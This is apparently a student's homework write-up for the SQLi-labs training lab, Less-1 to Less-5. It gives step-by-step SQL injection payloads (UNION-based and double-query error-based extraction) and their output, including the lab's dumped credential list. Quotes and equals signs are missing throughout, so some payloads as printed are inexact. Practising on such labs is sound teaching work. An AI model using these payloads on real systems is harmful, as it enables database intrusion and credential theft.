培华安全初级 第一次作业 SQLi-labs Less1~5通用背景知识1.1 SQL 注入基本流程判断注入点 → 判断注入类型 → 判断列数 → 判断回显位置 → 提取数据1.2 常用测试语句用途语句判断注入点?id1注释绕过--或#判断列数?id1 order by N--UNION 注入?id-1 union select 1,2,3--Less-1 Error Based - String基于报错的字符串错误sql语句结构$sqlSELECT * FROM users where id$id LIMIT 0,1;攻击步骤Step 1 判断注入点访问/?id1访问正常访问/?id1发生错误报错You have an error in your SQL syntax...use near 1 LIMIT 0,1 at line 1确定注入点为单引号id$idStep 2 判断列数?id1 order by 3-- ?id1 order by 4--order by 3正常 → 至少 3 列order by 4报错Unknown column 4 in order by→ 共 3 列Step 3: 判断回显位置?id-1 union select 1,2,3--页面显示数字 2 和 3即回显位置在第 2、3 列Step 4 获取数据库信息?id-1 union select 1,version(),database()--成功返回Your Login name:11.8.6-MariaDB-5ubuntu0.1 from Ubuntu Your Password:securityStep 5: 提取表名?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity--返回Your Login name:users,uagents,emails,referers Your Password:3Step 6: 提取列名和数据?id-1 union select 1,group_concat(column_name),3 from information_schema.columns WHERE table_nameusers-- ?id-1 union select 1,group_concat(username,0x3a,password),3 from users--返回Your Login name:users,users,users,uagents,uagents,uagents,uagents,emails,emails,referers,referers,referers Your Password:3 Your Login name:Dumb:Dumb,Angelina:I-kill-you,Dummy:pssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin:admin123,test:test123,user1:pass1,user2:pass2,john:john123,mike:mike123,sarah:sarah123,david:david123,emma:emma123,chris:chris123,alex:alex123,lisa:lisa123,tom:tom123,jerry:jerry123,admin2:admin456 Your Password:3Less-2 Error Based - Integer基于报错的整数型注入sql语句结构$sqlSELECT * FROM users where id$id LIMIT 0,1;攻击步骤Step 1 判断注入点访问/?id1访问正常访问/?id1发生错误报错You have an error in your SQL syntax...use near LIMIT 0,1 at line 1确认为整数型id$idStep 2 判断列数?id1 order by 3-- ?id1 order by 4--Step 3 判断回显位置?id-1 union select 1,2,3--Step 4 提取数据?id-1 union select 1,group_concat(username,0x3a,password),3 from users --Less-3 Error Based - String (with Twist)基于报错的字符型注入带括号sql语句结构$sqlSELECT * FROM users WHERE id($id) LIMIT 0,1;攻击步骤Step 1 判断注入点访问/?id1访问正常访问/?id1发生错误报错You have an error in your SQL syntax...use near 1) LIMIT 0,1 at line 1确定注入点为)尝试闭合括号访问?id1)--页面正常显示登录信息Step 2 判断列数?id1) order by 3-- ?id1) order by 4--Step 3 提取数据?id-1) union select 1,2,3-- ?id-1) union select 1,version(),database()-- ?id-1) union select 1,group_concat(username,0x3a,password),3 from users--Less-4 Error Based - Double Quotes String基于报错的字符型注入双引号sql语句结构$sqlSELECT * FROM users WHERE id($id) LIMIT 0,1;攻击步骤Step 1 判断注入点访问/?id1访问正常访问/?id1访问正常访问?id1发生错误报错You have an error in your SQL syntax...use near 1) LIMIT 0,1 at line 1确定注入点为)尝试闭合括号访问?id1)--页面正常显示登录信息Step 2 判断列数?id1) order by 3-- ?id1) order by 4--Step 3 提取数据?id-1) union select 1,2,3-- ?id-1) union select 1,version(),database()-- ?id-1) union select 1,group_concat(username,0x3a,password),3 from users--Less-5 Double Query - Single Quotes - String双查询注入无显错sql语句结构$sqlSELECT * FROM users WHERE id$id LIMIT 0,1;Double Query 原理Double Query 利用了MySQL在处理GROUP BY分组和COUNT()聚合函数的bug当MySQL执行GROUP BY时会建立一张内部虚拟表用于记录每个Key出现的次数。当查询FLOOR(RAND()*2)这类动态随机值时数据库会两次计算这个随机值第一次检查临时表中是否存在该分组Key第二次尝试插入该Key到临时表中。两次计算的结果大概率不一致就会触发「重复Key冲突」的报错。当冲突发生时MySQL会把触发错误的分组键完整输出在错误提示里攻击者可以提前把想要窃取的数据库敏感信息比如库名、表名用CONCAT()函数拼进这个分组键里让敏感数据直接暴露在报错信息中。Double Query 利用当页面不显示错误信息时可以通过以下方式间接获取数据SELECTcount(*)FROMinformation_schema.tablesGROUPBYconcat(version(),floor(rand(0)*2))执行后会报错并显示类似Duplicate entry 5.7.26-1 for key group_key攻击步骤Step 1 判断注入点访问/返回Please input the ID as parameter with numeric value请以数字形式输入ID作为参数访问/?id1访问返回You are in...........访问/?id1发生错误报错You have an error in your SQL syntax...use near 1 LIMIT 0,1 at line 1确定注入点为Step 2 判断列数?id1 order by 3-- ?id1 order by 4--其中3返回You are in...........有正常返回无显示4无法正常返回页面为空由此可判定共3列Step 3 尝试使用 Double Query 提取版本?id1 AND (SELECT 1 FROM (SELECT count(*),concat(version(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--成功返回Duplicate entry 11.8.6-MariaDB-5ubuntu0.1 from Ubuntu1 for key group_key获取到版本11.8.6-MariaDB-5ubuntu0.1 from UbuntuStep 4: 提取数据库名?id1 AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--成功返回Duplicate entry security1 for key group_key获取到数据库名security1Step 5: 提取表名?id1 AND (SELECT 1 FROM (SELECT count(*),concat((SELECT table_name FROM information_schema.tables WHERE table_schemasecurity LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--成功返回Duplicate entry users1 for key group_key获取到表名users1Step 6: 提取列名?id1 AND (SELECT 1 FROM (SELECT count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_nameusers LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--成功返回Duplicate entry USER1 for key group_key获取到列名USER1Step 7: 提取数据?id1 AND (SELECT 1 FROM (SELECT count(*),concat((SELECT username FROM users LIMIT 0,1),0x3a,(SELECT password FROM users LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--成功返回Duplicate entry Dumb:Dumb1 for key group_key获取到用户名及其密码 用户名Dumb密码Dumb以此类推修改所有的LIMIT 0,1为LIMIT 1,1、LIMIT 2,1以获取第二组、第三组用户名及其密码使用LIMIT 1,1成功获取Duplicate entry Angelina:I-kill-you1 for key group_key用户名Angelina密码I-kill-you使用LIMIT 2,1成功获取Duplicate entry Dummy:pssword1 for key group_key用户名Dummy密码pssword